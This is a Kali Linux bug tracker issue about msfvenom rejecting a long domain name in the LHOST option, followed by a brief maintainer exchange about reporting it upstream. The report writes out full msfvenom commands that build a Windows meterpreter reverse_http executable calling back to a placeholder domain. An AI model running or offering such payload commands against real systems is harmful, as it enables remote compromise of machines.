View Issue Details
ID | Project | Category | View Status | Date Submitted | Last Update |
---|---|---|---|---|---|
0004507 | Kali Linux | Kali Package Bug | public | 2018-01-30 09:30 | 2018-05-08 07:52 |
Reporter | pkreuzt | Assigned To | |||
Priority | normal | Severity | major | Reproducibility | sometimes |
Status | closed | Resolution | suspended | ||
Summary | 0004507: msfvenom fails to validate LHOST option | ||||
Description | There seems to be an error in msfvenom which causes LHOST option to be not parseable under some circumstances. I have not been able to trace the error to the exact cause, but seems that if you specify LHOST to a long domain name with usual syntax it fails: $ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=myverylongdomainname.com LPORT=9999 -f exe Error: The following options failed to validate: LHOST. But if you specify the same domain omitting the '=' symbol it behaves correctly: $ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOSTmyverylongdomainname.com LPORT=9999 -f exe [The payload is generated] Also, if you specify LHOST to a short domain or an IP address it gets generated correctly too. | ||||
This seem to affect msfconsole too. Maybe other msf-related tools? |
|
It might be worth making a bug ticket upstream: https://github.com/rapid7/metasploit-framework/issues |
|
Reported upstream: https://github.com/rapid7/metasploit-framework/issues/9476 @g0tmi1k I thought the usual practice was reporting first to distro maintainers |
|
@pkreuzt Depends if its an issue with the OS/package or the tool itself ;) |
|
Date Modified | Username | Field | Change |
---|---|---|---|
2018-01-30 09:30 | pkreuzt | New Issue | |
2018-01-30 09:44 | pkreuzt | Note Added: 0008565 | |
2018-01-30 10:10 | g0tmi1k | Note Added: 0008566 | |
2018-01-30 11:29 | pkreuzt | Note Added: 0008577 | |
2018-01-30 11:41 | g0tmi1k | Note Added: 0008578 | |
2018-05-08 07:52 | g0tmi1k | Status | new => closed |
2018-05-08 07:52 | g0tmi1k | Resolution | open => suspended |